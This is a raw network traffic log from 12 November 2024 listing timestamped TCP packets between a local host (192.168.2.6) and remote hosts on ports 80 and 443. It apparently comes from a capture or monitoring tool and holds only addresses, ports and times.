Nov 12, 2024 10:37:29.973536015 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.973536015 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.973573923 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.996252060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.996263981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.996308088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.002357006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.002368927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.002378941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.002437115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.002460003 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.002531052 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.002737999 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.002808094 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.002824068 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.002845049 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.002851009 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.005780935 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.005825043 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.005903006 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.006067038 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:30.006078959 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:30.032447100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032500029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032511950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032525063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.032552004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.032670975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032681942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032694101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032718897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.032742977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.032892942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032902002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.032937050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.033032894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.033088923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.033122063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.033132076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.033169985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.044085026 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.044106007 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.044168949 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.044183016 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.044231892 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.069739103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.069798946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.069875956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.069890022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.069901943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.069909096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.069914103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.069925070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.069931030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.069972038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070389032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070434093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070568085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070578098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070605040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070620060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070755005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070776939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070801973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070822001 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070935011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070951939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.070981979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.070991039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.071105003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.071116924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.071142912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.071158886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.118273973 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.118300915 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.118340969 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.118352890 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.118377924 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.118396997 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.119198084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.119265079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.119333982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.119350910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.119391918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.149565935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.149638891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.149663925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.149683952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.149707079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.149784088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.149996996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150033951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150044918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150057077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.150068998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.150091887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.150307894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150322914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150341034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150357008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.150382042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.150456905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150477886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.150521040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.186765909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.186783075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.186795950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.186827898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.186856985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.186858892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.186916113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.187031031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187079906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.187222004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187243938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187261105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187272072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.187273026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187289953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187297106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.187304020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187338114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.187355042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.187839031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.187896013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.188169956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.188182116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.188210011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.188234091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.189431906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.189487934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.194329977 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.194407940 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.201174974 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.201191902 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.201508999 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.203217030 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.203265905 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.203273058 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.203407049 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.233741999 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.233772993 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.233812094 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.233836889 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.233850002 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.233871937 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.235896111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.235970020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.235980988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.235991955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.236005068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.236005068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.236054897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.247332096 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.266599894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266638994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266652107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266654015 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.266688108 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.266688108 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.266702890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266767025 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.266787052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266819000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.266864061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266875982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266891956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.266911030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.266933918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.303560019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303596973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303608894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303636074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.303670883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.303709030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303720951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303761005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.303824902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303873062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.303888083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303900003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.303951979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.304158926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.304212093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.304227114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.304239035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.304282904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.304358959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.304371119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.304382086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.304409027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.304433107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.305012941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.305063009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.305074930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.305074930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.305099964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.305125952 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.305165052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.305202961 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.350177050 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.350203037 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.350246906 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.350275993 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.350289106 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.350393057 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.352965117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.352991104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.353002071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.353025913 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.353065968 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383496046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383547068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383558989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383558989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383601904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383611917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383676052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383687973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383729935 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383800030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383812904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383848906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383927107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383938074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.383965015 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.383981943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.395041943 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.395071983 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.395121098 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.395143986 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.395165920 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.395179033 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.421169996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421195030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421205997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421256065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.421334028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421345949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421356916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421380043 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.421405077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.421564102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421575069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421585083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421596050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421608925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.421638966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.421796083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421818972 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.421837091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.421852112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.422363043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.422374964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.422385931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.422415972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.422439098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.422467947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.422477961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.422501087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.449922085 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.450423956 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.450434923 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:30.450462103 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.450495005 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:30.468852997 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.468878031 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.468914032 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.468945026 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.468959093 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.468985081 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.469897985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.469926119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.469935894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.469954967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.469990969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500247002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500291109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500303984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500308037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500348091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500348091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500432968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500446081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500492096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500586987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500648975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500653028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500665903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500711918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.500775099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.500818968 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.501004934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.501043081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.501056910 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.501071930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538098097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538113117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538168907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538168907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538223982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538255930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538268089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538288116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538300037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538660049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538674116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538683891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538714886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538743973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538817883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538830042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538861036 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.538940907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538953066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.538990974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.539067030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.539144993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.539156914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.539166927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.539180040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.539190054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.539215088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.539819002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.539870977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.584976912 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.585011005 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.585058928 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.585088015 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:30.585105896 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.585151911 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:30.586716890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.586777925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.586798906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.586811066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.586843014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.586858034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:30.617332935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617405891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:30.617419004 CET	80	49834	185.215.113.206	192.168.2.6
